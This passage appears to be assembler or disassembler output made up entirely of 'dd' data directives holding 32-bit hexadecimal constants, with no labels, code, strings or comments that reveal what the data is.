839BA82Eh, 60CCFCA6h, 0DCE21021h, 48001C4Bh dd 557E89B6h, 3D0E65Ch, 0C0277FEFh, 43B84E9Eh, 0C41D60FBh dd 263054F8h, 33D3F9Dh, 2B0CCDF7h, 0DD80C80Eh, 0FD01A86Dh dd 5929C7Dh, 0F9C8CE9Bh, 442B0151h, 0FF4CA3DAh, 0E0102077h dd 5475600h, 0E86BEB0Ch, 0B0C500A1h, 469619DDh, 150050B4h dd 0D3CF0BD0h, 0CD42180h, 0D251E1AAh, 0C038FD4h, 0F6325549h dd 2CF8D036h, 2A9A00F2h, 11409EA3h, 84007C63h, 99F99479h dd 223DABh, 0C6C89C7Fh, 652CA7FCh, 9FAAB400h, 6C495CD2h dd 577900B7h, 0C3201BFDh, 88C48C1Ch, 31FC8186h, 0AF0AC107h dd 87CD3039h, 46242104h, 0DB0074C0h, 0FED9CF37h, 1E0BE045h dd 800FCD63h, 42468AD2h, 9D006FE2h, 0C806CF8Eh, 0ECE617E4h dd 6E60C094h, 0BE8391BDh, 0AD31DE00h, 0FBE396A6h, 0D2340168h dd 2EDC759h, 0BB118130h dd 48535B63h, 25CED980h, 3A5A8BDAh, 0E0A01900h, 8FD3F050h dd 0EEC700CDh, 6D49C521h, 7C008B6Eh, 2B169EE2h, 5A874Ah dd 4B737B5Dh, 40EE06CBh, 0B0D4370Fh, 0D9FAA2C5h, 5E807510h dd 0E816E70Fh, 0E2C8F907h, 272070B4h, 0E0DE6DF5h, 717300E1h dd 826F6E8Eh, 1D280418h, 8D01F075h, 0C6B1A909h, 96E8EB1Eh dd 0BF7F00A2h, 0B6ABCEFEh, 0FF006A57h, 349F3787h, 0A18D6B0Eh dd 18279C90h, 506ACF48h, 0FA600010h, 0D9196387h, 90A5BE00h dd 0BA5E62FEh, 0C6DA09F3h, 8219DD1h, 503E590Bh, 1C13A4ECh dd 19AAD00Bh, 7AF1807Dh, 28C6D572h, 1EC5A60h, 9A684794h dd 80CD3CE0h, 8BEBD5C1h, 414C458h, 0E694953h, 804085E5h dd 4D7A3A13h, 68769F00h, 847F2658h, 1408FC39h, 0C2EE6C9Bh dd 0AA6BBB01h, 80E6AD5Ch, 140F3338h, 1F401E87h, 92BADA86h dd 0DE9C0148h, 80242FA5h, 8DD9D429h, 3F8A01h, 0E7C46260h dd 9C2609B0h, 710B8301h, 957E064Bh, 0C9C42021h, 6ADD027Bh dd 0DA027592h, 0D5102C48h, 93C7CE01h, 0FA30F5B2h, 0FE853A30h dd 0B42D26DAh, 7646005Ch, 0F5210A4Eh, 69D53A00h, 0BB22E7F9h dd 579A0044h, 0D7BEE05Ch, 8900300Eh, 0B8C6FAA8h, 0AED585h dd 0A0318D36h, 3FE8C92Eh, 0EABCED00h, 7658B250h, 5975077Ah dd 0C79A0Bh, 1CEEC2D2h, 7311DA01h, 76F16F48h, 0C860F4h dd 218A2468h, 79C41AE7h, 908BD000h, 0A1FC549Bh, 5E441220h dd 1B44F91h, 0BD0C8D49h, 3238C630h, 1810033Ah, 6932025h dd 0A1EE43F8h, 2AE6203Dh, 0FF645603h, 81086D9Bh, 2980EC83h dd 92781B3Eh, 3100CA7Ch, 0B2A95072h, 1C6D9962h, 53AF7B77h dd 1C930037h, 5D44B95Ch, 405C2060h, 302F862Eh, 61999398h dd 0FD1CF23Fh, 0E3C92CFFh, 4E183056h, 0B5AA00EAh, 0A16A62BBh dd 0F03C4121h, 7C2D800Ch, 0B45CB053h, 0F1E8A83Ch, 425B010h dd 0F2978AE7h, 0B76880F5h, 1D6E696Dh, 8F098018h, 254A295h dd 0D903DCE0h, 6840E31Bh, 610EAD0Dh, 40CE86BDh, 0FCB69104h dd 369B0044h, 0D66F198Bh, 3D52AA74h, 0A913A24h, 0D34D1672h dd 0C25FBA02h, 0BB7FE055h, 0AA4A00B6h, 0DC2F9C52h, 542CA3D1h dd 7300545Fh, 0C3D88C3Ch, 65C91C68h, 408E1D0Bh, 50CCFD84h dd 8C30296Dh, 80E4C0DEh, 0A032B0CEh, 76C2478h, 1B3F6E19h dd 28C6F04Dh, 0BD0A1377h, 982C1748h, 66BF2907h, 0CF5DF511h dd 8738FC50h, 88F41CCCh, 536400CBh, 0A47F811Dh, 6A25EC00h dd 0A85678ADh, 91D97E95h, 0C3AB8820h, 286C52h, 3FC814BDh dd 0B40C9BF8h, 0F1EB7600h, 81E6C0E2h, 38870058h, 25EE7733h dd 5A288DADh, 8526A441h, 7B805C5Eh, 5B069A9Eh, 89B00FDh dd 0C59FA329h, 86FAB424h, 0E17BD703h, 0DB04F2C6h, 87879E0h dd 3D06103Fh, 41344982h, 0E8044B6Fh, 0B21329h, 0EE8D67D5h dd 0EE4A53Bh, 0AFC2FF00h, 0D33AC4Ch, 16B27AD2h, 40807A55h dd 4FB9529Ch, 0C9F0A037h, 7800087Ch, 3E14570Bh, 4D12ADE1h dd 0F100341Bh, 0B944FEBBh, 0E700A93Fh, 0C07FC2DCh, 135315h dd 7B72FB23h, 272C8A19h, 4735D400h, 7AB048DEh, 56551853h dd 9CD610FFh, 3430AA07h, 799088D5h, 153D2F22h, 94703BD9h dd 9FC0528h, 86B01BDBh, 47F81000h, 3C005A30h, 0B641A71Fh dd 58174A7Eh, 73039C42h, 0BCF6AD62h, 8084113Eh, 0E2D7E31Eh dd 0FCDCCD4h, 0F3F2C5EEh, 87F82580h, 3F2C5C30h, 0C21D347Fh dd 0FC0ED940h, 17B8863Bh, 0AED343h, 92C0A4F4h, 8F00C369h dd 489F7F50h, 7AC90Bh, 0F53ECF84h, 0B5407D81h, 3CDED600h dd 3B46B672h, 0AB4800DCh, 0A905193h, 0D107F657h, 0B59D379Eh dd 8494C8A0h, 0A0DB00CBh, 8D5AF34h, 0CD002AB3h, 3E9F5D05h dd 0BA7F38h, 83047BE4h, 91F1E251h, 0F845BE00h, 0A7695711h dd 4A75043Dh, 0A0D9420Ah, 0E2021AA0h, 793930E4h, 57F0A0B5h dd 9D0EA2h, 0D912B0EEh, 43C88CAh, 5C48862Ch, 0E58A4D87h dd 30A49E91h, 0EE8864h, 930F10C7h, 850B9965h, 17743259h dd 0EF00084Ah, 0C5D8EF78h, 6DC90041h, 0CA0B5DFCh, 0DD009447h dd 4B74F4AAh, 3BAFEB8h, 0CC4A421h, 0A8C6E5B1h, 0C8938513h dd 8ABCF440h, 0B3F6C768h, 0A4ACC8h, 6C638B96h, 0EC0B17ABh dd 0A0A44AB2h, 3E945F88h, 61461286h, 875040D1h, 0B3D6CD6Eh dd 94651D00h, 0C8A82080h, 0C6B15C14h, 2B58B600h, 8777A356h dd 0D1768630h, 240CFCC7h, 80A0AD0Eh, 7F8F75EFh, 2E2CF595h dd 92033C31h, 0CF83BA25h, 724B2F30h, 4A66072Bh, 20A907EBh dd 0F6770A5Ah, 0F050D9EEh, 0C3015CBCh, 0B6B5C7FFh, 0DC217630h dd 0DF0C30h, 2D05D681h, 0D7CDFED1h, 21E7AC00h, 1D86B4A3h dd 2C70E6BCh, 80CCD030h, 53BF642Bh, 0EF98118Ah, 24C2FE00h dd 8E0876C9h, 3CBD139Eh, 7D20077Bh, 0DF1790FAh, 0C38FD47h dd 0EB4D0206h, 62F3E1D9h, 2E10589Fh, 49548AA6h, 0F7BA2498h dd 204B34Ch, 5E61CF8Ch, 6E38EAB1h, 6C4F13C8h, 0AC000C3h dd 5AC97D4h, 0E2424B00h, 0EFF181D6h, 0C6DF02C8h, 0C1609AC5h dd 0FEAAF882h, 0F180A465h, 0E4C591CCh, 0CBDD0053h, 0F9825E32h dd 4C25BD8Eh, 5C581095h, 0D1802E1Dh, 3F102A3Eh, 898CB520h dd 0C5C16310h, 0BDAA3A00h, 4A4F0B72h, 189760E5h, 38641488h dd 0FA77D900h, 55683E1Bh, 45041D6Dh, 0C989C01Dh, 0CEEC251Ah dd 78473800h, 8D562687h, 3C9F00AFh, 341D0779h, 0D500E275h dd 59429A4h, 0A3E4D9h, 6787C48Bh, 0EF6E737Fh, 1E6AF000h dd 0D954A068h, 0A2221E99h, 0CC340FAh, 4FB4D89Eh, 0B62EAD0Eh dd 86F8A00Ah, 1BFEDC33h, 0D8FC8201h, 0D3409288h, 7DB6FB00h dd 6C2D66A8h, 52811B43h, 8ACAD09Ah, 532F7848h, 1560394Ch dd 158C2363h, 48885ACDh, 12858B8h, 0A46E4412h, 0E130C7A3h dd 0BDFF22Ah, 0B70FD7AAh, 0AC0D5D00h, 8803843Ch, 2F483DF6h dd 0DE9AB84Ah, 697AD8h, 0C8F31794h, 0C5721B6Eh, 74E27300h dd 0B93E0E70h, 0AC1D00A7h, 10E5575Fh, 0AE01B572h, 4E555D2Fh dd 5E4567Eh, 71743E47h, 9B086A80h, 0D0586CE8h, 1A9A5013h dd 0DC02F807h, 1BA61370h, 76200AEh, 0A7416EFAh, 0B500F226h dd 82D04587h, 2C0E59h, 0B94E818h, 531021F7h, 470028F6h dd 37AE355Bh, 2631E5B8h, 1DE0D463h, 0C040D23Ch, 297C481Ch dd 2E92BB00h, 5201884Ch, 0C1450253h, 0BD0F7042h, 0F0E85C61h dd 0F500BE25h, 6BC51863h, 0F033C6Eh, 0DDD3EF8Eh, 1AD5E920h dd 4400BF70h, 8DFA236h, 21B43Fh, 0A960825Ah, 4D37641Eh dd 43716800h, 63304EF7h, 0D37AEEh, 0FF07D8Bh, 9C292360h dd 52265903h, 0E8CA38FAh, 0A823F0Dh, 80203961h, 0B19C02E4h dd 0CCC1AE53h, 9590D333h, 7A00F21Ah, 8E45691Dh, 4C529FA8h dd 0A048CA3Ah, 4D862900h, 6454A1C8h, 195FCF00h, 24FEB4ABh dd 970B24A0h, 2FD4099Ah, 0F2DD3880h, 0C000C892h, 0EAAAB1B9h dd 0B4E96Fh, 9DA2C3E0h, 18CB737Bh, 0CFA1CD00h, 5DB2FC5Ch dd 672200B7h, 5E72A54Ch, 643C119Ch, 0DABC0014h, 0DFDB28E4h dd 37A10778h, 0BE867DB5h, 0F3FB19E0h, 0A600B724h, 4ED43D11h dd 1E8894AEh, 79EA0BDh, 3067FA48h, 7F3943BBh, 0C20FC300h dd 0CFA2FBF5h, 4932004Ah, 7BDB488Fh, 0F91DB3EAh, 0E7403A11h dd 61EFB099h, 30D75854h, 4213DD03h, 47F05365h, 51009C7Ah dd 0BC7C1AA5h, 7D7240E2h, 27A01D9Dh, 70898073h, 213452CAh dd 28B26100h, 6EE40A0Fh, 6C7A1690h, 44C4009Bh, 0DDF2A834h dd 97FEA001h, 136025AAh dd 1FF05231h, 0E2FD09E6h, 9A00353Bh, 0B490767Fh, 0A1F538h dd 80FEEB5Eh, 0BD6E799h, 4DF34A65h, 0AAD0C021h, 698770A5h dd 0BA899F00h, 1AE9D8A7h, 54720307h, 0B49AE1FAh, 0F5927FC0h dd 7BF65201h, 296B0D8h, 3A33A880h, 3FD3C4BFh, 8AE76700h dd 0CB49F1AFh, 70715826h, 0D7D0B61Dh, 227840F2h, 112EF7C2h dd 3CCD200h, 3A8AFA3Eh, 5CB8CEh, 5554025Bh, 6525A0B8h dd 1B247E00h, 2C26EF27h, 0A8F513BBh, 0E80F006Bh, 1D5A9B6h dd 0E91D9AF6h, 1D008F06h, 37936335h, 51320F6Ah, 444B803Fh dd 9703D490h, 0CD5E8801h, 0D6A8D174h, 3C9AB8C0h, 0CF03A0E8h dd 0C61C8723h, 13148085h, 0D206AE2Ch, 0E3B39A81h, 1D0000Eh dd 91778E0Ch, 801F069h, 0A5CD4BC9h, 51D0ADB4h, 8C75B0h dd 4A2AF217h, 1BFED039h, 96BE1800h, 20FCED16h, 78C603D7h dd 9E84A71Ah, 0A5ACA1B7h, 0F842F83Ah, 57D083Dh, 0D436D25Ch dd 710DB0D0h, 63B807h, 49826B4Dh, 0E4EC94AFh, 7C045Ch dd 0F841B825h, 3756CFh, 39706D4Eh, 0C455744Dh, 977C83Eh dd 80724F0Fh, 5944216Dh, 7B9A0732h, 0D005BC58h, 82B557A0h dd 780C71C1h, 33D8A422h, 61160051h, 7B12EF4h, 749E3F24h dd 1829560Ah, 424A6800h, 0E8BD4FD9h, 0A7D3262Dh, 454E0FB0h dd 0E66D6080h, 0E8798E76h, 659A600h, 0B10FC524h, 4C2F18A9h dd 0CCF62854h, 4F921201h, 0B65707B4h, 0B06D3043h, 4857576h dd 472BF9Ah, 0C2041E17h, 0C0FFEDB0h, 0F6CEE62h, 7282F79h dd 58005427h, 67988110h, 2299971h, 979570C3h, 308ED1BBh dd 9851138Ch, 9970D700h, 0C4ADA177h, 0DFE000C0h, 645DCF4Dh dd 2400CD33h, 1A2FC278h, 0C1D60EADh, 97D14D40h, 96045B76h dd 978754CAh, 25C1C2DBh, 52D63460h, 4444728h, 2F7A8998h dd 2ED1481Fh, 311C8094h, 0A441D8A5h, 40808ADh, 0E218B020h dd 0C3035E93h, 118C0D4Dh, 47D110C6h, 0D5506575h, 4CCE180Ah dd 0A6694C9Bh, 0E1A08B78h, 1C437A55h, 108961C8h, 594ECCAEh dd 0CA101750h, 853B860h, 0D6000442h, 2F285D4Ch, 81DE86D2h dd 6811C974h, 5F808728h, 832B40Ah, 9A0CA34Eh, 1F291453h dd 5324C4Dh, 409BFA20h, 0D2502CC5h, 74570801h, 544222Bh dd 5301F6F4h, 4000EC29h, 4F6C2CC0h, 0FBF896A1h, 1008B568h dd 0C1D70421h, 8AD8EAEEh, 0B4ADF610h, 1C07DB40h, 0EE400004h dd 20E36BEh, 0AF21E28Ah, 588738E9h, 0B260C838h, 2820D753h dd 0CC4125E9h, 8E69E438h, 0CB597260h, 0C0E34201h, 512AEF48h dd 8E00C30Bh, 300E96D3h, 920CED75h, 12E40690h, 116E6246h dd 94A49A09h, 2F2C8F3Ch, 69346C3Dh, 6073E251h, 0D19B48D5h dd 0F4034F93h, 21F60690h, 987EEFC2h, 1CE680h, 0C7B830Fh dd 0D074D3ECh, 2479327h, 0E191239Ch, 0FAD02458h, 8608DF6Dh dd 0C14A8EC2h, 0D66C48C6h, 3C849008h, 22004212h, 50F5F808h dd 3C03D4F9h, 0D5D04534h, 0A8C3F3EFh, 4D7DD2h, 0FE6DC6Dh dd 92DFF4B4h, 0C1D9786Eh, 0CCE9F51Ah, 0FC3EB050h, 0A0324D09h dd 935DF400h, 0A2BD9A76h, 0E4D049h, 60EEC67Ah, 0FC91D1CFh dd 39C906Ch, 50D47D55h, 294007A2h, 5331B6D0h, 79F411E9h dd 17D6C30h, 6B7E8402h, 0ECAC4340h, 0E5036585h, 5350867Ch dd 0E1F16649h, 6F5808D8h, 835425ECh, 0C3440578h, 2AAAD85Fh dd 0B0BA3FD2h, 647E538Ch, 1D03EC21h, 0A6E6D076h, 81A10A7Bh dd 14B4C2FAh, 0D712ACFBh, 50F80341h, 0AC98B499h, 0E650DA40h dd 0DD125298h, 2C50DB53h, 110A6A8h, 0EDF1851Dh, 92064AD7h dd 384C7A7Ah, 0A7DF1D1h, 5C87171Fh, 0CE3459B8h, 0F0102D19h dd 0D2800C2Fh, 0A5F600EEh, 0FF094DC2h, 780EB79Fh, 0A3B43013h dd 840C97CEh, 21062082h, 41CAD950h, 0DC87CCA4h, 47000EF4h dd 0D59E5D2Dh, 1EA39497h, 15C6A54h, 0D3B95FD0h, 0F610F4D1h dd 0DD13FE07h, 16804320h, 50E428ADh, 9E93A08Fh, 4A6E83ECh dd 0C9285901h, 2D59905Ah, 29B840C8h, 0E4240189h, 0FBF93A55h dd 8C50DC0Ah, 0ED8A0A4h, 0A40576D1h, 8C145E9Ah, 8F4E020h dd 3DA763D8h, 0EF670C24h, 5FE04059h, 906C7CACh, 303A4818h dd 0A25701A1h, 8C0A8859h, 4C754B7Ah, 5311FA10h, 12C06684h dd 0DC7744F1h, 0B58A4200h, 29C96151h, 6D101ABh, 0FDF325A0h dd 83804366h, 0FC4D4100h, 0A5427AD0h, 0B10C638Fh, 2921FEF4h dd 0D00A3DD1h, 93CCBAFh, 8805E40Bh, 3D58236Dh, 30CE6BC1h dd 48A40327h, 97DC4B0h, 3F83F0A0h, 4A9C3C0Eh, 80C5EC54h dd 0A2D18A1h, 4DE6B0CEh, 60E8A532h, 406CC0CDh, 0F72FA3Ch dd 4BB4AF47h, 0E479B09Dh, 0D718EB1Dh, 0B3717598h, 0A8BE0AB7h dd 62B09D53h, 1804D61Eh, 0F9938858h, 0E4D97A2Ah, 9D780F07h dd 4B47E498h, 994ED4F1h, 0B7C570h, 0F825790Dh, 50DD69E8h dd 8D8D4CB6h, 8C0C1058h, 7325057Ah, 0B48F6D9Ah, 41034E44h dd 0EFD1226Fh, 29810464h, 808179A4h, 25409344h, 47007BF0h dd 0C04B2CFEh, 0D47DA2A3h, 0E23EC841h, 0EC453603h, 0D9C07C8Fh dd 0D2ECB828h, 4E145A72h, 1098E3F5h, 20002D32h, 3FC6500Dh dd 4B16B710h, 4C4076E4h, 0FFB9512Fh, 0A3D37881h, 1B6D9848h dd 55E000C6h, 56E10157h, 9C61F5BAh, 51B62520h, 32001032h dd 0E7BE7807h, 1C79D2CFh, 88146E5Ah, 0BFC20070h, 6B0CC3E0h dd 0AEBE18B1h, 84CF39A2h, 0A3765400h, 919655A4h, 0CAC6001Eh dd 0F87C4C68h, 0C7A07B24h, 0C0DD3667h, 591118C0h, 3C6ADF13h dd 161E6148h, 96B20F57h, 50EE5F62h, 0AEDAC320h, 534009Dh dd 0FB5A60A6h, 32002B18h, 0B3D256E8h, 895B58h, 3F398114h dd 97337B17h, 0BEC3F507h, 7620464Eh, 3AB840B5h, 0B000C8D0h dd 0B99A50AAh, 4209F3D2h, 80530F2Dh, 3F027CE4h, 4B01Eh dd 0D8886D50h, 51E8150Bh, 64917A0Eh, 0AC3204Fh, 7CCC765Eh dd 9A5A00E6h, 260C4DE5h, 0FC01EDE8h, 0BDB6BC36h, 0B3F09010h dd 0D4E4F13Bh, 0D1F0EEh, 0A419D2A6h, 57E80332h, 0E76F3A0Eh dd 8DA10173h, 18835A5Eh, 39CEAC4Eh, 0ECEA500Fh, 4B888057h dd 0C05835D3h, 466B6CFAh, 0DA58BD80h, 0A3550F97h, 2E57801Ch dd 1D9C0123h, 0C360E7B0h, 9652340Bh, 9DD311C0h, 0A282767h dd 0F772A850h, 0ECE70C5Dh, 0A318BC05h, 88D9D462h, 0F70498E9h dd 0F4400FDCh, 0AC08A65h, 19E2B7BCh, 0B842D8C0h, 6DCADh dd 11550C4Ah, 7D383447h, 0DF502770h, 0F4076C8Ch, 0DB901AA8h dd 211130C0h, 7689015Ah, 92D50877h, 294CE850h, 0B14E6805h dd 2803D313h, 2884C2D9h, 74C0E819h, 90B80AEh, 0A91FD830h dd 5377A312h, 9B046050h, 0C3C53FD8h, 0A822BC5Ah, 0BE57025Eh dd 0B14DC331h, 39C0908Eh, 73AD511Eh, 2D21C40Ah, 2602480Bh dd 903D5A4Dh, 0A80BA47Ch, 0C1591D08h, 6C3A7A79h, 3FF18249h dd 0A77CC67Dh, 1F32BC84h, 0E4CDC074h, 0D30F06CFh, 910D9E98h dd 0E0C19621h, 7E127DDCh, 65D448C1h, 0C983A7ABh, 8BCB9FDDh dd 21642080h, 0E114A20Ch, 6D18148h, 0CC3B516Fh, 6C303157h dd 0E26BFA3Ch, 67490C75h, 14587F88h, 394D7935h, 0E678EB00h dd 5422D897h, 5139406h, 0E4FF1FE5h, 8B8C016Fh, 0EC39F516h dd 0B81564DCh, 38BC5EBCh, 89B91F43h, 5F8A11F0h, 4D6D20EBh dd 0DD549402h, 4E252Dh, 0B9361AC9h, 385C7F3Eh, 1FD7853Bh dd 0C050C20Fh, 118878DCh, 1E641F65h, 0B67C2ECh, 0A08CBE3Dh dd 0C8FED948h, 4E52D24h, 987B269Eh, 6E99C02Bh, 10D4A8B8h dd 0A9B600B1h, 0E8149AA8h dd 0C744A5D2h, 55E43A94h, 56CB3C07h, 50AAC711h, 17138798h dd 9A0EC812h, 4066CC4Ah, 322F57F8h, 6D684EC0h, 0BB4091h dd 31E8085Ah, 9118A404h, 60AF080h, 64400341h, 652FBCB9h dd 4FD02058h, 810A8754h, 95F91BCh, 2C93F3Ch, 689511E4h dd 2BDC360h, 1078EBB9h, 0A4A0BAD3h, 338C0ADBh, 0C10834Dh dd 190DBDE4h, 8A1C9910h, 81849EBh, 0D092DE8h, 17149294h dd 0CA81F504h, 0FCE512A5h, 123702C4h, 0E8EC6CDh, 35ECDD78h dd 39183829h, 0FB1802C8h, 0C403E9B0h, 0CB9198E0h, 0BEB5BF03h dd 0FB35052Eh, 5271C8B1h, 496E30C2h, 0D4163169h, 0C0381C03h dd 8BD0082Eh, 4825A22Fh, 0F8BC8h, 0A287BD4h, 0A3CA1C3Ch dd 5EC29D06h, 3971B47Fh, 51E00C68h, 4754C6Ch, 80973E00h dd 0DEDA4546h, 57E2004Eh, 0B31FA183h, 0E003769h, 0C5C6F250h dd 9A8BEB6Ch, 62110028h, 0FAA0C205h, 4138957h, 40FFED9h dd 20DD8451h, 1D7A57C0h, 410A0070h, 0C512A4C0h, 8A3077F4h dd 651691B1h, 0FAB20079h, 0F207E34Ch, 0C4078039h, 0E2120290h dd 0D9091C10h, 0D4DC1C1Fh, 726AC235h, 8CB0F852h, 1E08D3C0h dd 622FD038h, 91005B6Ch, 2A12D401h, 79CC89DBh, 0E35E1C5Ah dd 85D1DF85h, 0C168FBA4h, 10552A0h, 0E9BD92EAh, 4AFD0280h dd 75747126h, 0D1205909h, 0F608BDFh, 78556186h, 90E99A03h dd 7B3A8051h, 136EC4h, 8353DB41h, 0CB5CAACFh, 3C000092h dd 3DA7CA2h, 9E6271h, 61E99B1Eh, 0ACBC3A21h, 8E739204h dd 88CA5AFh, 31770CF8h, 989991EBh, 599A7800h, 44150AECh dd 0F1950054h, 81CAC668h, 77001865h, 6EECF2Ch, 1334AA1h dd 54E30FE1h, 22BC85A2h, 9C1B0040h, 88FB8C07h, 0C56A0362h dd 8DEAD358h, 9B2D6900h, 0AEF3F4B4h, 0FDBE0085h, 0C5B390CAh dd 39EE20F9h, 8851DE24h, 7B87EB80h, 0D113A97h, 13765D90h dd 2433F569h, 80070D84h, 5946632Ch, 36A5DE50h, 0E9C102ACh dd 6B222EC7h, 56CECCE0h, 99FCF501h, 5B226E8h, 0C7284980h dd 533A7814h, 82E33C07h, 604633FCh, 21F10021h, 80B6400Ah dd 7302A4ACh, 87D38D3h, 0EAD04162h, 0F5006022h, 0B24116D9h dd 89002BD7h, 0D06C58A7h, 60FAC4AEh, 47AC517Fh, 0F503CD08h dd 56803445h, 0CBA3F88Ah, 86E500B2h, 6C04F63Eh, 2D033C92h dd 4A6F145Fh, 1241BEDDh, 334E3E88h, 56B2672Ch, 5E5FE900h dd 0D8B302E7h, 3A45942Ch, 48D68049h, 354AFEA8h, 5A54E420h dd 414CD873h, 4B01B46Ch, 63B7FF6Bh, 38D88595h, 241435BCh dd 6202830h, 7CD97B00h, 98E309EEh, 6BF3009Ah, 5160CAC5h dd 4004771Ch, 0D424378Bh, 89BC54C8h, 8087E034h, 1261D63Fh dd 0B5C030CAh, 0B04AE1BEh, 20C80AD0h, 3C7C8359h, 9AD27707h dd 367B4070h, 3E6AF5BCh, 5E08E098h, 0D3F2600Ch, 0A0463820h dd 0EA4E310h, 1D41B97h, 0A28E1339h, 36E589C9h, 0F58D6980h dd 0BB46BF06h, 0B08CF000h, 0A23D2CE5h, 22B30EB4h, 0F4804D02h dd 13841A67h, 0D02BDD3Ch, 0B3BBD6Ch, 0D58E80CDh, 0FF2AA61h dd 3AF903D3h, 8A7A561Ch, 1AA04383h, 388050B9h, 0B078BAD3h dd 709F0068h, 6832E376h, 1A300277h, 0EAA99CCh, 0E53D00EDh dd 746D09A0h, 8E007884h, 7E6635A9h, 2B6A3F4h, 3F2D033Ah dd 8C82433Dh, 0C9180DBFh, 382308D3h, 0E6645168h, 0D4669C40h dd 1505CA9Dh, 0C33934E2h, 20ADDC22h, 0D6C8B726h, 920088FAh dd 69283D15h, 59D37177h, 71B83073h, 9000B977h, 0D62EB812h dd 42D85E06h, 0A23D7CADh, 373F7D82h, 77C5848Ch, 44A493D5h dd 70D9483Eh, 6E920880h, 1A0F6420h, 8C221590h, 79BC29E6h dd 0C40351C3h, 49E0B9CDh, 9B38C7ADh, 58EEC377h, 288C05C1h dd 9004C10h, 60024C82h, 64C1DD70h, 839A58ABh, 5900308Ah dd 5A4E78Ch, 0C1942E40h, 0A9EE9B38h, 77782C03h, 80784877h dd 4C8848C0h, 1FEF816Fh, 8AAD2290h, 4718E1ABh, 63F0F011h dd 3930D0CDh, 0CA4E98Fh, 0C7DA0E97h, 6C203DFFh, 35F686C9h dd 3842EB1Fh, 0AADBE4C1h, 0C3031C6h, 3A4713Ch, 11D4AEE9h dd 8CB3C507h, 0B65C801h, 0E090EEF0h, 5914B88Ch, 1A0A52F1h dd 9C16877Eh, 4402E711h, 0C1EEA555h, 700050E4h, 78C2CAD9h dd 10E88B6Fh, 610115Eh, 556CDF5Ah, 7777729h, 0F9ED3A13h dd 0B11A51A7h, 0B8A2108Fh, 0DBFC00CEh, 6978ED66h, 0A600D16Eh dd 13A44A92h, 677E815h, 8F7CDDD9h, 0D2041038h, 0CF80894Ch dd 100600AFh, 91709061h, 0BE685E03h, 0C0921AD2h, 121C73FCh dd 40E9D874h, 0D0337FACh, 1500B266h, 0EB77EAFh, 0DD38A0h dd 6440656Bh, 8350F8EDh, 5D2A8C00h, 0D8F6F56Ah, 22A098FEh dd 0DA001FCAh, 952C4F18h, 30D00919h, 0B9D102FAh, 57653789h dd 3C01D928h, 130FA93h, 383DEE8h, 0CA6AE245h, 6DA13A50h dd 9E31BF36h, 2701C39Fh, 0F2C069B6h, 929A8F4h, 11B87A37h dd 0FBD1A810h, 820DB30Ch, 0EC0F1053h, 1A9A00F6h, 0AAC31C40h dd 0CF4E302h, 212DC200h, 57A6017Fh, 189902ECh, 0DBE8291Fh dd 6E4414C0h, 0EEE61D0Eh, 15AB814Eh, 8C601F19h, 0F5907CDh dd 624464A9h, 50E38C3Ch, 57B4411Ch, 2A45D080h, 7652781Ah dd 207D015Bh, 40E41953h, 494881AFh, 225A81E2h, 0ECF84161h dd 84E6F2Ch, 99494898h, 79005AE6h, 6046AEA6h, 98ADF325h dd 0E92D3955h, 522E0280h, 3A19030Fh, 1400DD98h, 0C8B58D5Ch dd 28335ADFh, 0A4C7D77h, 8E19A449h, 5AB74040h, 17463808h dd 0B3217030h, 0A0005A61h, 7E7C0E0Dh, 203D32h, 0F1073FA8h dd 0E1F44903h, 0B5DFAF0Ch, 5C8F10EFh, 7160251Fh, 2CE77902h dd 2E8E0E09h, 5E19847Dh, 9720D5C1h, 8D2BB880h, 0BDC24423h dd 16A43F0Fh, 739D4486h, 0B2AA871Dh, 6FECD04Ah, 2F0FCCABh dd 2063B605h, 0C1D03A80h, 4D2C39FBh, 0DB198180h, 3D668EC0h dd 8C305500h, 0FDDF4AA0h, 18DDEA16h, 10927886h, 0B100B4F7h dd 3E068AF2h, 3C04EC75h, 0F100FE5Ah, 1AC0D8BDh, 0FA1ED9EEh dd 0D600BB0Bh, 0C69737EDh, 0FF1E076Eh, 4021C975h, 0D88A405Ah dd 843B39h, 65C01BDFh, 74746A7h, 0EC596AEBh, 1AF6C07Bh dd 4507B7BBh, 4EDEE058h, 0EF42BD90h, 0C060DD7Fh, 40BC8DBAh dd 1D07F019h, 1FBEDFFEh, 8B9143h, 0BC97CC20h, 3C075D85h dd 6CDAAF00h, 4113C7F9h, 69E2C12h, 0AB08004Ah, 0E6FFDE0h dd 0E3F25E00h, 88A8A5BBh, 0B3323806h, 0D431880h, 5C372B59h dd 16838E00h, 799C6DE6h, 13CA3C5Dh, 8FDECC9Fh, 6880B888h dd 96C42B89h, 0F3008FE0h, 0DDA3D691h, 7C8BE70Dh, 0C8C3004Fh dd 4578604Ah, 0FB006630h, 0CB7A489Fh, 6850DFh, 2FD943AEh dd 10F061D0h, 80C6F803h, 0E88AEBB0h, 4026F3h, 4C7F5CCAh dd 0C2969C8Ch, 3857B800h, 377EB910h, 0FBE13FDEh, 881DA500h dd 0C19D5BAh, 743DE2EEh, 0F7300F2h, 5EA6376Ah, 76AC0001h dd 0FA85362Fh, 0CB00AF95h, 788B2D88h, 7AE0DFh, 82ECFE4Ah dd 75BC12BAh, 0B8553Fh, 0F7345401h, 7B406DA2h, 174100FBh dd 0C95F5AC5h, 5D005BF1h, 0C2CEFFDBh, 1635E25h, 0E4EE8FDFh dd 0E4A3CC06h, 500107Bh, 54175841h, 7B0B1F62h, 0C7277C16h dd 0B0716D10h, 8386A46Eh, 0D54CDE19h, 31807008h, 2C687967h dd 7E00906Bh, 22E48029h, 0CF0A126Dh, 78895B20h, 1C8A7F01h dd 0B5877029h, 9C3AD4F8h, 80CD3150h, 5B10137Eh, 6E0C7051h dd 20BC8404h, 0A270143h, 0BF77AE81h, 0E50ECC7Ch, 0AD310360h dd 8E7A71h, 1AD6874Dh dd 0DC6CC70Bh, 0D0B65501h, 68088109h, 0F5213883h, 990006D3h dd 57E9B0CDh, 38DA9B2h, 0E190022Bh, 0E0C8011Dh, 0D601CD61h dd 0E66452E5h, 9FF0C0E4h, 0D4B301A5h, 4E875DE7h, 42498013h dd 7E37D06Bh, 0A32801F3h, 0E31EBD43h, 165CF063h, 0F93093ECh dd 0CD20F82Dh, 23D7203Dh, 2A825401h, 8C09E54Bh, 55D4B4FDh dd 60BAE8B3h, 0B181E06Dh, 4A013D4Bh, 0D060F056h, 79800E07h dd 0BA74AF94h, 3F7982D1h, 79E6F500h, 3555D74Bh, 17750058h dd 9438670h, 0E8A8386Dh, 0E41FB4C9h, 2CC2450Eh, 0C018D634h dd 5FA9D5h, 15610349h, 8B261154h, 2A511C15h, 0B20075D8h dd 